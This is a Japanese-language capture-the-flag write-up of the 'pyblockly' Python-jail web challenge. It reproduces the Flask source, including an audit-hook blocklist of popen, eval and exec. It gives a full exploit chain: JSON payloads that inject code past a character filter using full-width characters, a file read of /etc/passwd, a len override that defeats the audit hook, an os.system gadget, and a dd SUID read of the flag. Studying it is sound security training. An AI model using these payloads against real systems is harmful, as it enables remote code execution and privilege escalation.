今回はwgpsecチームと共に参加しました。再現環境がないためwrite-upを作成できず、国内の大会に初参加したため少し手間取りました。pyblocklyについて詳しく解説します(pyblocklyには問題解決の記録が残っています)
wgpsecのwrite-upはこちら:https://mp.weixin.qq.com/s/NzZ-ZJlyCh2sk3vbNbswiw
Web部門はほぼ完全攻略、師匠たちのスキルに感服しました
このようなPython jail問題はあまり経験がなく、問題の質も非常に高かったので、ここに記録します
添付ファイルをダウンロードし、内容を確認します
app.py
from flask import Flask, request, jsonify
import re
import unidecode
import string
import ast
import sys
import os
import subprocess
import importlib.util
import json
app = Flask(__name__)
app.config['JSON_AS_ASCII'] = False
禁止文字パターン = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"
def モジュール存在チェック(モジュール名):
spec = importlib.util.find_spec(モジュール名)
if spec is None:
return False
if モジュール名 in sys.builtin_module_names:
return True
if spec.origin:
std_lib_path = os.path.dirname(os.__file__)
if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()):
return True
return False
def セキュリティ検証(m):
for node in ast.walk(m):
match type(node):
case ast.Import:
print("ERROR: 禁止されたモジュール ")
return False
case ast.ImportFrom:
print(f"ERROR: 禁止されたモジュール {node.module}")
return False
return True
def 禁止文字チェック(input_text):
if re.search(禁止文字パターン, input_text):
return True
else:
return False
def ブロックからPython(ブロック):
ブロックタイプ = ブロック['type']
コード = ''
if ブロックタイプ == 'print':
テキストブロック = ブロック['inputs']['TEXT']['block']
テキスト = ブロックからPython(テキストブロック)
コード = f"print({テキスト})"
elif ブロックタイプ == 'math_number':
if str(ブロック['fields']['NUM']).isdigit():
コード = int(ブロック['fields']['NUM'])
else:
コード = ''
elif ブロックタイプ == 'text':
if 禁止文字チェック(ブロック['fields']['TEXT']):
コード = ''
else:
コード = "'" + unidecode.unidecode(ブロック['fields']['TEXT']) + "'"
elif ブロックタイプ == 'max':
aブロック = ブロック['inputs']['A']['block']
bブロック = ブロック['inputs']['B']['block']
a = ブロックからPython(aブロック)
b = ブロックからPython(bブロック)
コード = f"max({a}, {b})"
elif ブロックタイプ == 'min':
aブロック = ブロック['inputs']['A']['block']
bブロック = ブロック['inputs']['B']['block']
a = ブロックからPython(aブロック)
b = ブロックからPython(bブロック)
コード = f"min({a}, {b})"
if 'next' in ブロック:
ブロック = ブロック['next']['block']
コード +="\n" + ブロックからPython(ブロック)+ "\n"
else:
return コード
return コード
def jsonからPython(blocklyデータ):
ブロック = blocklyデータ['blocks']['blocks'][0]
pythonコード = ""
pythonコード += ブロックからPython(ブロック) + "\n"
return pythonコード
def 実行処理(ソースコード):
フックコード = '''
def 監視フック(event_name, arg):
禁止リスト = ["popen", "input", "eval", "exec", "compile", "memoryview"]
if len(event_name) > 4:
raise RuntimeError("Too Long!")
for bad in 禁止リスト:
if bad in event_name:
raise RuntimeError("No!")
__import__('sys').addaudithook(監視フック)
'''
print(ソースコード)
コード = フックコード + ソースコード
ツリー = compile(ソースコード, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)
try:
if セキュリティ検証(ツリー):
with open("run.py", 'w') as f:
f.write(コード)
結果 = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
os.remove('run.py')
return 結果
else:
return "セキュリティ上の懸念により実行が中止されました。"
except:
os.remove('run.py')
return "タイムアウト!"
@app.route('/')
def インデックス():
return app.send_static_file('index.html')
@app.route('/blockly_json', methods=['POST'])
def blockly_json処理():
blocklyデータ = request.get_data()
print(type(blocklyデータ))
blocklyデータ = json.loads(blocklyデータ.decode('utf-8'))
print(blocklyデータ)
try:
pythonコード = jsonからPython(blocklyデータ)
return 実行処理(pythonコード)
except Exception as e:
return jsonify({"error": "Pythonコード生成エラー", "details": str(e)})
if __name__ == '__main__':
app.run(host = '0.0.0.0')
web1は非常に複雑な問題です。しかし、実際にはほとんどのコードが役に立たず、私たちのアプローチも非常に明確です——ブロックを介して悪意のあるコードを実行します。
出題者は問題に非常に複雑なラッパーを装着しましたが、実際には私たちの攻撃に対して大きな影響はありません。ここではjson_to_pythonを使用して入力からblocksを抽出し、block_to_pythonで各blocksを分類(print、max、minなど)してからPythonファイルに書き込み、実行します。
まずblock_to_pythonのいずれかの機能(例えばprint)で、最終的に文字列連結を使用して入力をコードに結合していることがわかります。ここで、print('')を閉じてその後に;や\nを使用してコードを追加するRCE手段を容易に想像できます(後の')をコメントアウトする必要があります)。さらに、printモードはTEXTを取得する必要があり、入力をunidecode.unidecodeで一度処理してからprintに結合して実行できます。TEXTは検査を通過する必要があり、ここでは検査が先に行われ、その後にunidecode.unidecodeが適用されるため、全角文字を使用してバイパスできます(全角文字はunidecode.unidecodeの後で半角文字になります)
以下のペイロードを作成します
{
"blocks": {
"blocks": [
{
"type": "print",
"id": "print1",
"inputs": {
"TEXT": {
"block": {
"type": "text",
"id": "text1",
"fields": {
"TEXT": "s"')\nprint(open("/etc/passwd", "r").read())\n#"
}
}
}
}
}
]
}
}
これによりファイルの内容が表示されます
ここではファイルを読み取ることができますが、/flagへの読み取り権限はありません。RCE+権限昇格の方法を検討します。ユーザーの入力をpyファイルに結合する際に、フック関数が追加され、event_nameの長さが制限されています。さらに、event_nameにブラックリストが設定されています。
def 監視フック(event_name, arg):
# print(f"[+]{event_name},{arg}")
禁止リスト = ["popen", "input", "eval", "exec", "compile", "memoryview"]
if len(event_name) > 4:
raise RuntimeError("Too Long!")
for bad in 禁止リスト:
if bad in event_name:
raise RuntimeError("No!")
event_nameに不慣れな師匠はhttps://peps.python.org/pep-0578/をご覧ください
すべてのevent_nameの中で、長さが4以下であるのはopenとexecのみですが、execはブラックリストに含まれています。
したがって、長さの検出をバイパスする方法を検討します。len関数を書き換えて常に3を返すようにします。
__builtins__.len = lambda x: 3
その後、以下のPOCを作成します:
POST /blockly_json HTTP/1.1
Host: eci-2ze1c97lhjoulskvhtrj.cloudeci1.ichunqiu.com:5000
Content-Length: 473
Accept: */*
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Content-Type: application/json
Origin: http://eci-2zebvccqe8nnivaz8wjh.cloudeci1.ichunqiu.com:5000
Referer: http://eci-2zebvccqe8nnivaz8wjh.cloudeci1.ichunqiu.com:5000/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
{
"blocks": {
"blocks": [
{
"type": "print",
"id": "print1",
"inputs": {
"TEXT": {
"block": {
"type": "text",
"id": "text1",
"fields": {
"TEXT": "s"')\n__builtins__.len = lambda x: 3\nprint(len("asdbb"))\n#"
}
}
}
}
}
]
}
}
返り値として3が得られることがわかります
成功!長さの制限から解放された後、重要でないブラックリストが1つだけ残ります
execが制限されているため、os.systemを使用します。SSTIペイロードをそのままコピーします
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")
任意のコマンドを実行できます。次にSUIDファイルを確認します。DDが権限昇格して読み取ることができることがわかります
DDで読み取り、全角文字に変換し、フラグを取得します
POST /blockly_json HTTP/1.1
Host: eci-2ze1c97lhjoulskvhtrj.cloudeci1.ichunqiu.com:5000
Content-Length: 473
Accept: */*
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Content-Type: application/json
Origin: http://eci-2zebvccqe8nnivaz8wjh.cloudeci1.ichunqiu.com:5000
Referer: http://eci-2zebvccqe8nnivaz8wjh.cloudeci1.ichunqiu.com:5000/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
{
"blocks": {
"blocks": [
{
"type": "print",
"id": "print1",
"inputs": {
"TEXT": {
"block": {
"type": "text",
"id": "text1",
"fields": {
"TEXT": "s"')\n__builtins__.len = lambda x: 3\n[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("dd if=/flag")\n#"
}
}
}
}
}
]
}
}
flag{7cla4fe8981e295a78508a49146340b9}